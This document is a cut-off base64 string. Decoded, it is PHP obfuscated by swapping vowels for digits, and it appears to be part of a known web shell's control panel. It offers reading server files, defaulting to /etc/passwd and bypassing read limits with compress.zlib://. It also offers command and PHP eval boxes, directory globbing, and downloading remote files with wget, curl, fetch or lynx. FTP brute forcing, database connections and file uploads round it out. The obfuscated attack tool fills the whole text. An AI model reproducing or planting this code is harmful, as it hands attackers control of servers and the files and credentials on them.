Cd0NXN0NjknKS40bg0KKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0OCddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQoNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2YTcnXSwnNGRhOTA2JykuJHQxYmw1XzNwYS5kNHYoJzRkYTkwNicpLiR0czsNCjVjaDIgc3IoNmksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dG8wJ10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ2Y0bDUnLDhpLCcvNXRjL3Axc3N3ZCcpLjRuDQooJ2g0ZGQ1bicsJ2NtZCcsMCwnZjRsNScpLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0OCddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kYS4kZjU7DQoNCg0KNWNoMiAkdDFibDVfM3A2LmQ0dl90NHRsNSgkbDFuZ1skbDFuZzMxZzUuJ190NXh0Nm82J10sJzRkYTkwYScpLiR0MWJsNV8zcGEuZDR2KCc0ZGE5MGEnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHYxbDRnbj10MnAgdzRkdGg9aTAlPiIuJHRzOw0KNWNoMiAiPGYybnQgZjFjNT10MWgybTEgczR6NT0tYT48Yj48ZDR2IDFsNGduPWM1bnQ1ciA0ZD0nbic+UjUxZCBGNGw1PC9kNHY+PC9iPjwvZjJudD4iOw0KNWNoMiBzcihhaSwiPGI+RjRsNSA6Ii4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnZjRsNTYnLHUwLCghNW1wdHkoJF9QT1NUWydmNGw1NiddKSk/KCRfUE9TVFsnZjRsNTYnXSk6KCIvNXRjL3Axc3N3ZCIpKS40bignczNibTR0JywnczNibTR0JyxhLCJSNTFkIEY0bDUiKSk7DQpmM25jdDQybiByc2dfcjUxZCgpDQoJewkNCgkkdDVzdD0iIjsNCgkkdDVtcD10NW1wbjFtKCR0NXN0LCAiY3giKTsNCgkkZjRsNTY9JF9QT1NUWydmNGw1NiddOwkNCgkkZzV0PWh0bWxzcDVjNDFsY2gxcnMoJGY0bDU2KTsNCgk1Y2gyICI8YzVudDVyPjxicj48Yj48ZjJudCBzNHo1PWE+VHJ5NG5nIFQyIEc1dCBGNGw1IDxmMm50IGMybDJyPXI1ZD48Yj4kZzV0PC9iPjwvZjJudD48YnI+IjsNCgk0ZihjMnB5KCJjMm1wcjVzcy56bDRiOi8vIi4kZjRsNTYsICR0NW1wKSl7DQoJJGY0Y2g0NXIgPSBmMnA1bigkdDVtcCwgInIiKTsNCgkkMWN0NDJuID0gZnI1MWQoJGY0Y2g0NXIsIGY0bDVzNHo1KCR0NW1wKSk7DQoJZmNsMnM1KCRmNGNoNDVyKTsNCgkkczIzcmM1PWh0bWxzcDVjNDFsY2gxcnMoJDFjdDQybik7DQo1Y2gyICI8ZDR2IDFsNGduPVwiYzVudDVyXCI+PGI+PGYybnQgczR6NT1hPjxicj48ZjJudCBjMmwycj1cInI1ZFwiPjx0NXh0MXI1MSBuMW01PXI1cDJydCBjMmxzPWUwIHIyd3M9NjA+JHMyM3JjNTwvdDV4dDFyNTE+PGJyPjxiPjxicj5GMjNuZCA8Yj48ZjJudCBzNHo1PWE+JGc1dDwvZjJudD48L2I+IjsNCgkzbmw0bmsoJHQ1bXApOw0KCX0gNWxzNSB7DQoJZDQ1KCI8Yj48ZjJudCBzNHo1PWE+PENFTlRFUj5TMnJyeS4uLiBGNGw1DQoJPGYybnQgYzJsMnI9cjVkPjxCPiIuaHRtbHNwNWM0MWxjaDFycygkZjRsNTYpLiI8L0I+PC9mMm50PiBkMnM1bid0IDV4NHN0cyAyciB5MjMgZDJuJ3QgaDF2NQ0KCTFjYzVzcy48L0NFTlRFUj48L0ZPTlQ+Iik7DQoJCQl9DQoJNWNoMiAiPC9kNHY+IjsNCgl9DQo0Zig0c3M1dCgkX1BPU1RbJ2Y0bDU2J10pKQ0Kew0KcnNnX3I1MWQoKTsNCn0NCjVjaDIgJHQ1LiI8L3RkPiIuJGY1LiRmcy4iPHRkIHYxbDRnbj10MnAgdzRkdGg9aTAlPiIuJHRzOw0KNWNoMiAiPGYybnQgZjFjNT10MWgybTEgczR6NT0tYT48Yj48ZDR2IDFsNGduPWM1bnQ1ciA0ZD0nbic+VjQ1dyBENHI8L2Q0dj48L2I+PC9mMm50PiI7DQo1Y2gyIHNyKGEwLCI8Yj5ENHIgOiIuJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ2Q0cjVjdDJyeScsdTAsKCE1bXB0eSgkX1BPU1RbJ2Q0cjVjdDJyeSddKSk/KCRfUE9TVFsnZDRyNWN0MnJ5J10pOigiLzV0YyIpKS40bignczNibTR0JywnczNibTR0JyxhLCdWNDV3JykpOw0KZjNuY3Q0Mm4gcnNnX2dsMmIoKQ0Kew0KJGNoNW00bj0kX1BPU1RbJ2Q0cjVjdDJyeSddOw0KJGY0bDVzID0gZ2wyYigiJGNoNW00bioiKTsNCjVjaDIgIjxjNW50NXI+PGI+PGYybnQgczR6NT1hPlRyeTRuZyBUMiBMNHN0IEYybGQ1ciA8ZjJudCBjMmwycj1yNWQ+PGI+JGNoNW00bjwvYj48L2YybnQ+PGJyPiI7DQo1Y2gyICI8dDV4dDFyNTEgYzJscz1lMCByMndzPTYwPiI7DQpmMnI1MWNoICgkZjRsNXMgMXMgJGY0bDVuMW01KSB7DQoJICAgNWNoMiAiJGY0bDVuMW01XG4iOw0KCSAgIH01Y2gyICI8L3Q1eHQxcjUxPjwvYzVudDVyPiI7DQoJICAgfQ0KNGYoNHNzNXQoJF9QT1NUWydkNHI1Y3QycnknXSkpDQp7DQpyc2dfZ2wyYigpOw0KfQ0KNWNoMiAkdDUuIjwvdGQ+Ii4kZjUuIjwvdHI+PC9kNHY+PC90MWJsNT4iOw0KDQo1Y2gyICRmcy4kdDFibDVfM3A2LmQ0dl90NHRsNSgkbDFuZ1skbDFuZzMxZzUuJ190NXh0YTYwJ10sJzRkYTYwJykuJHQxYmw1XzNwYS5kNHYoJzRkYTYwJykuJHRzOw0KNWNoMiAiPHQxYmw1IGNsMXNzPXQxYmw1NiB3NGR0aD02MDAlIDFsNGduPWM1bnQ1cj4iOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0bzAnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnejVuZCcsOGksKCE1bXB0eSgkX1BPU1RbJ3o1bmQnXSkNCj8oJF9QT1NUWyd6NW5kJ10pOigiLzV0Yy9wMXNzd2QiKSkpLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikuNG4oJ2g0ZGQ1bicsJ2NtZCcsMCwnejVuZCcpLndzKHUpLjRuDQooJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0OCddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQoNCg0KDQoNCjRmKDV4dDVuczQybl9sMjFkNWQoIjQybkMzYjUgTDIxZDVyIikpDQp7DQo1Y2gyICRmcy4kdDFibDVfM3A2LmQ0dl90NHRsNSgkbDFuZ1skbDFuZzMxZzUuJ190NXh0YW8wJ10sJzRkYW8wJykuJHQxYmw1XzNwYS5kNHYoJzRkYW8wJykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0bzAnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywndDVzdDZ1X2NtZCcsOWUsKCE1bXB0eSgkX1BPU1RbJ3Q1c3Q2dV9jbWQnXSk/KCRfUE9TVFsndDVzdDZ1X2NtZCddKTooJycpKSkud3ModSkuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKS40bignaDRkZDVuJywnY21kJywwLCd0NXN0NnUnKS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ4J10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsgIA0KfQ0KDQo0ZigkM240eCYmNXh0NW5zNDJuX2wyMWQ1ZCgidzRub2FzdGQiKSkNCnsNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRhbzYnXSwnNGRhbzYnKS4kdDFibDVfM3BhLmQ0dignNGRhbzYnKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRvJ10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ3Q1c3Q2aV9jbWQnLDllLCghNW1wdHkoJF9QT1NUWyd0NXN0NmlfY21kJ10pPygkX1BPU1RbJ3Q1c3Q2aV9jbWQnXSk6KCdkNHInKSkpLndzKHUpLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikuNG4oJ2g0ZGQ1bicsJ2NtZCcsMCwndDVzdDZpJykuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0OCddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7ICANCn0NCg0KNGYoJDNuNHgmJjV4dDVuczQybl9sMjFkNWQoInc0bm9hczVydjRjNSIpKQ0Kew0KNWNoMiAkZnMuJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dGFvYSddLCc0ZGFvYScpLiR0MWJsNV8zcGEuZDR2KCc0ZGFvYScpLiR0czsNCjVjaDIgc3IoNmksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dG8nXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywndDVzdDZlX2NtZCcsOWUsKCE1bXB0eSgkX1BPU1RbJ3Q1c3Q2ZV9jbWQnXSk/KCRfUE9TVFsndDVzdDZlX2NtZCddKTooJ2Q0cicpKSkud3ModSkuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKS40bignaDRkZDVuJywnY21kJywwLCd0NXN0NmUnKS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ4J10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsgIA0KfQ0KDQoNCjRmKCQzbjR4JiY1eHQ1bnM0Mm5fbDIxZDVkKCJmZjQiKSkNCnsNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2b2EnXSwnNGRvaScpLiR0MWJsNV8zcGEuZDR2KCc0ZGFvdScpLiR0czsNCjVjaDIgc3IoNmksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dG8nXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywndDVzdDY4X2NtZCcsOWUsKCE1bXB0eSgkX1BPU1RbJ3Q1c3Q2OF9jbWQnXSk/KCRfUE9TVFsndDVzdDY4X2NtZCddKTooJ2Q0cicpKSkud3ModSkuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKS40bignaDRkZDVuJywnY21kJywwLCd0NXN0NjgnKS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ4J10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsgIA0KfQ0KDQokMWw0MXM1c2EgPSAnJzsNCmYycjUxY2ggKCQxbDQxczVzIDFzICQxbDQxc19uMW01PT4kMWw0MXNfY21kKQ0KIHsNCiAkMWw0MXM1c2EgLj0gIjwycHQ0Mm4+JDFsNDFzX24xbTU8LzJwdDQybj4iOw0KIH0NCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ3J10sJzRkZScpLiR0MWJsNV8zcGEuZDR2KCc0ZGUnKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLndzKDkpLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ4J10uJDFycjJ3LndzKHUpLiI8L2I+IiwiPHM1bDVjdCBuMW01PTFsNDFzPiIuJDFsNDFzNXNhLiI8L3M1bDVjdD4iLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0NiddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQoNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRpdSddLCc0ZDcnKS4kdDFibDVfM3BhLmQ0dignNGQ3JykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0aWEnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0Jywnc190NXh0Jyw4aSwnJykud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0NmEnXSkpOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0aW8nXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0Jywnc19kNHInLDhpLCRkNHIpLiIgKiAiKTsNCjVjaDIgc3IoNmksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGlpJ10uJDFycjJ3LiI8L2I+Iiw0bignY2g1Y2tiMngnLCdtIDRkPW0nLDAsJzYnKS40bigndDV4dCcsJ3NfbTFzaycsOGEsJy5waHA7LjFzcDsuMXNweDsuY2ZtJykuIioiLjRuKCdoNGRkNW4nLCdjbWQnLDAsJ3M1MXJjaF90NXh0JykuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQoNCg0KDQo0ZigkYzNybF8ybikNCnsNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRvbyddLCc0ZDYwJykuJHQxYmw1XzNwYS5kNHYoJzRkNjAnKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRvMCddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCd0NXN0Nl9mNGw1Jyw4aSwoITVtcHR5KCRfUE9TVFsndDVzdDZfZjRsNSddKT8oJF9QT1NUWyd0NXN0Nl9mNGw1J10pOigiLzV0Yy9wMXNzd2QiKSkpLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikuNG4oJ2g0ZGQ1bicsJ2NtZCcsMCwndDVzdDYnKS53cyh1KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ4J10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRvMDAnXSwnNGRvJykuJHQxYmw1XzNwYS5kNHYoJzRkbycpLiR0czsNCjVjaDIgc3IoNmksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGEwYSddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCdseTBraDEnLDhpLCcvNXRjL3Axc3N3ZCcpLjRuKCdoNGRkNW4nLCdjbWQnLDAsJ2NVUkwnKS40bignaDRkZDVuJywnZDRyJywwLCRkNHIpLndzKHUpLjRuKCdzM2JtNHQnLCdzM2JtNHQnLDAsJGwxbmdbJGwxbmczMWc1LidfYjN0dDcnXSkpOw0KNWNoMiAkdDUuJzwvZDR2PicuJHQxYmw1XzVuZDYuJGY1Ow0KfQ0KDQo0ZigkbXNzcWxfMm4pDQp7DQo1Y2gyICRmcy4kdDFibDVfM3A2LmQ0dl90NHRsNSgkbDFuZ1skbDFuZzMxZzUuJ190NXh0OGknXSwnNGQ2bycpLiR0MWJsNV8zcGEuZDR2KCc0ZDZvJykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0b2UnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywndDVzdHVfbWQnLDZpLCghNW1wdHkoJF9QT1NUWyd0NXN0dV9tZCddKT8oJF9QT1NUWyd0NXN0dV9tZCddKTooIm0xc3Q1ciIpKSkud3ModSkuIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dG83J10uJDFycjJ3LiI8L2I+Ii40bigndDV4dCcsJ3Q1c3R1X21sJyw2aSwoITVtcHR5KCRfUE9TVFsndDVzdHVfbWwnXSk/KCRfUE9TVFsndDVzdHVfbWwnXSk6KCJzMSIpKSkud3ModSkuIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dG84J10uJDFycjJ3LiI8L2I+Ii40bigndDV4dCcsJ3Q1c3R1X21wJyw2aSwoITVtcHR5KCRfUE9TVFsndDVzdHVfbXAnXSk/KCRfUE9TVFsndDVzdHVfbXAnXSk6KCIiKSkpLndzKHUpLiI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2dSddLiQxcnIydy4iPC9iPiIuNG4oJ3Q1eHQnLCd0NXN0dV9wMnJ0Jyw2aSwoITVtcHR5KCRfUE9TVFsndDVzdHVfcDJydCddKT8oJF9QT1NUWyd0NXN0dV9wMnJ0J10pOigiNnVvbyIpKSkpOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0byddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCd0NXN0dV9mNGw1Jyw5ZSwoITVtcHR5KCRfUE9TVFsndDVzdHVfZjRsNSddKT8oJF9QT1NUWyd0NXN0dV9mNGw1J10pOigiZDRyIikpKS40bignaDRkZDVuJywnZDRyJywwLCRkNHIpLjRuKCdoNGRkNW4nLCdjbWQnLDAsJ3Q1c3R1Jykud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0OCddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQp9DQoNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRvYSddLCc0ZDknKS4kdDFibDVfM3BhLiRmMm50Ow0KNWNoMiAiPGQ0diAxbDRnbj1jNW50NXI+Ii5kNHYoJzRkOScpLiI8dDV4dDFyNTEgbjFtNT1waHBfNXYxbCBjMmxzPTZhMCByMndzPWk+IjsNCjVjaDIgKCE1bXB0eSgkX1BPU1RbJ3BocF81djFsJ10pPygkX1BPU1RbJ3BocF81djFsJ10pOigiLyogZDVsNXQ1IHNjcjRwdCAqL1xyXG4zbmw0bmsoXCJsMzN0eXQzbi5waHBcIik7XHJcbnI1MWRmNGw1KFwiLzV0Yy9wMXNzd2RcIik7XHJcbjVjaDIgZjRsNV9nNXRfYzJudDVudHMoXCIvNXRjL3Axc3N3ZFwiKTtcclxucDFzc3RocjMoXCJsbiAtcyAvNXRjL3Axc3N3ZCBsMzN0eXQzbi50eHRcIik7IikpOw0KNWNoMiAiPC90NXh0MXI1MT4iOw0KNWNoMiA0bignaDRkZDVuJywnZDRyJywwLCRkNHIpLjRuKCdoNGRkNW4nLCdjbWQnLDAsJ3BocF81djFsJyk7DQo1Y2gyICI8YnI+Ii53cyg2KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ2J10pOw0KNWNoMiAiPC9kNHY+PC9kNHY+PC9mMm50PiI7DQo1Y2gyICR0MWJsNV81bmQ2LiRmNTsNCg0KDQp7DQo1Y2gyICI8ZjJybSBuMW01PTNwbDIxZCBtNXRoMmQ9UE9TVCBFTkNUWVBFPW0zbHQ0cDFydC9mMnJtLWQxdDE+IjsNCjVjaDIgJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dGknXSwnNGQ2dScpLiR0MWJsNV8zcGEuZDR2KCc0ZDZ1JykuJHRzOw0KNWNoMiAiPHRyPjx0ZCB2MWw0Z249dDJwIHc0ZHRoPWkwJT4iLiR0czsNCjVjaDIgc3IoNjAsIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGUnXS4kMXJyMncuIjwvYj4iLDRuKCdmNGw1JywnM3M1cmY0bDUwJyw3MCwnJykpOw0KNWNoMiBzcig2MCwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0ZSddLiQxcnIydy4iPC9iPiIsNG4oJ2Y0bDUnLCczczVyZjRsNTYnLDcwLCcnKSk7DQo1Y2gyIHNyKDYwLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRlJ10uJDFycjJ3LiI8L2I+Iiw0bignZjRsNScsJzNzNXJmNGw1YScsNzAsJycpKTsNCjVjaDIgJHQ1LiI8L3RkPjx0ZCB2MWw0Z249dDJwIHc0ZHRoPWkwJT4iLiR0czsNCjVjaDIgc3IoNjAsIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGUnXS4kMXJyMncuIjwvYj4iLDRuKCdmNGw1JywnM3M1cmY0bDVvJyw3MCwnJykpOw0KNWNoMiBzcig2MCwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0ZSddLiQxcnIydy4iPC9iPiIsNG4oJ2Y0bDUnLCczczVyZjRsNXUnLDcwLCcnKSk7DQo1Y2gyIHNyKDYwLCcnLDRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0YSddKSk7DQo1Y2gyICR0NS4iPC90ZD48L3RyPiI7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQp9DQoNCjRmKCEkczFmNV9tMmQ1JiYkM240eCl7DQo1Y2gyICRmcy4kdDFibDVfM3A2LmQ0dl90NHRsNSgkbDFuZ1skbDFuZzMxZzUuJ190NXh0NmknXSwnNGQ2aScpLiR0MWJsNV8zcGEuZDR2KCc0ZDZpJykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0NmUnXS4kMXJyMncuIjwvYj4iLCI8czVsNWN0IHM0ejU9XCI2XCIgbjFtNT1cInc0dGhcIj48MnB0NDJuIHYxbDM1PVwid2c1dFwiPndnNXQ8LzJwdDQybj48MnB0NDJuIHYxbDM1PVwiZjV0Y2hcIj5mNXRjaDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9XCJseW54XCI+bHlueDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9XCJsNG5rc1wiPmw0bmtzPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1cImMzcmxcIj5jM3JsPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1cIkdFVFwiPkdFVDwvMnB0NDJuPjwvczVsNWN0PiIuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKS53cyhhKS4iPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0NjcnXS4kMXJyMncuIjwvYj4iLjRuKCd0NXh0JywncjVtX2Y0bDUnLDc4LCdodHRwOi8vJykpOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0NjgnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnbDJjX2Y0bDUnLDYwaSwkZDRyKS53cyh1KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHRhJ10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsNCn0NCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ4ZSddLCc0ZDZlJykuJHQxYmw1XzNwYS5kNHYoJzRkNmUnKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRpOSddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCdkX24xbTUnLDhpLCRkNHIpLjRuKCdoNGRkNW4nLCdjbWQnLDAsJ2Qyd25sMjFkX2Y0bDUnKS40bignaDRkZDVuJywnZDRyJywwLCRkNHIpLndzKHUpLjRuKCdzM2JtNHQnLCdzM2JtNHQnLDAsJGwxbmdbJGwxbmczMWc1LidfYjN0dDZ1J10pKTsNCiQxcmggPSAkbDFuZ1skbDFuZzMxZzUuJ190NXh0OWEnXTsNCjRmKEBmM25jdDQybl81eDRzdHMoJ2d6YzJtcHI1c3MnKSkgeyAkMXJoIC49IDRuKCdyMWQ0MicsJ2MybXByNXNzJywwLCd6NHAnKS4nIHo0cCc7ICAgfQ0KNGYoQGYzbmN0NDJuXzV4NHN0cygnZ3o1bmMyZDUnKSkgICB7ICQxcmggLj0gNG4oJ3IxZDQyJywnYzJtcHI1c3MnLDAsJ2d6NHAnKS4nIGd6NHAnOyB9DQo0ZihAZjNuY3Q0Mm5fNXg0c3RzKCdiemMybXByNXNzJykpIHsgJDFyaCAuPSA0bigncjFkNDInLCdjMm1wcjVzcycsMCwnYno0cCcpLicgYno0cCc7IH0NCjVjaDIgc3IoNmksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dDk2J10uJDFycjJ3LiI8L2I+Iiw0bigncjFkNDInLCdjMm1wcjVzcycsMCwnbjJuNScsNikuJyAnLiQxcmgpOw0KNWNoMiAkdDUuJzwvZDR2PicuJHQxYmw1XzVuZDYuJGY1Ow0KDQo0ZigkM240eCAmJiBAZjNuY3Q0Mm5fNXg0c3RzKCJmdHBfYzJubjVjdCIpKXsNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ5dSddLCc0ZDY4JykuJHQxYmw1XzNwYS5kNHYoJzRkNjgnKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ4OCddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCdmdHBfczVydjVyX3AycnQnLDhpLCghNW1wdHkoJF9QT1NUWydmdHBfczVydjVyX3AycnQnXSk/KCRfUE9TVFsnZnRwX3M1cnY1cl9wMnJ0J10pOigiIikpKS40bignaDRkZDVuJywnY21kJywwLCdmdHBfYnIzdDUnKS53cyh1KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ2J10pKTsNCjVjaDIgc3IoNmksIiIsIjxmMm50IGYxYzU9dDFoMm0xIHM0ejU9LWE+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0OTknXS4iICggPDEgaHI1Zj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/M3M1cnM+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0OWknXS4iPC8xPiApPC9mMm50PiIpOw0KNWNoMiBzcig2aSwiIiw0bignY2g1Y2tiMngnLCdyNXY1cnM1IDRkPXI1djVyczUnLDAsJzYnKS4kbDFuZ1skbDFuZzMxZzUuJ190NXh0NjA2J10pOw0KNWNoMiAkdDUuJzwvZDR2PicuJHQxYmw1XzVuZDYuJGY1Ow0KfQ0KNGYoJG15c3FsXzJufHwkbXNzcWxfMm58fCRwZ18ybnx8JDJyMV8ybikNCnsNCiRzNWw1Y3QgPSAnPHM1bDVjdCBuMW01PWRiPic7DQo0ZigkbXlzcWxfMm4pICRzNWw1Y3QgLj0gJzwycHQ0Mm4+TXlTUUw8LzJwdDQybj4nOw0KNGYoJG1zc3FsXzJuKSAkczVsNWN0IC49ICc8MnB0NDJuPk1TU1FMPC8ycHQ0Mm4+JzsNCjRmKCRwZ18ybikgICAgJHM1bDVjdCAuPSAnPDJwdDQybj5QMnN0Z3I1U1FMPC8ycHQ0Mm4+JzsNCjRmKCQycjFfMm4pICAgJHM1bDVjdCAuPSAnPDJwdDQybj5PcjFjbDU8LzJwdDQybj4nOw0KJHM1bDVjdCAuPSAnPC9zNWw1Y3Q+JzsNCjVjaDIgJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dDhhJ10sJzRkYTAnKS4kdDFibDVfM3BhLmQ0dignNGRhMCcpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdjFsNGduPXQycCB3NGR0aD1pMCU+Ii4kdHM7DQo1Y2gyICI8ZjJudCBmMWM1PXQxaDJtMSBzNHo1PS1hPjxiPjxkNHYgMWw0Z249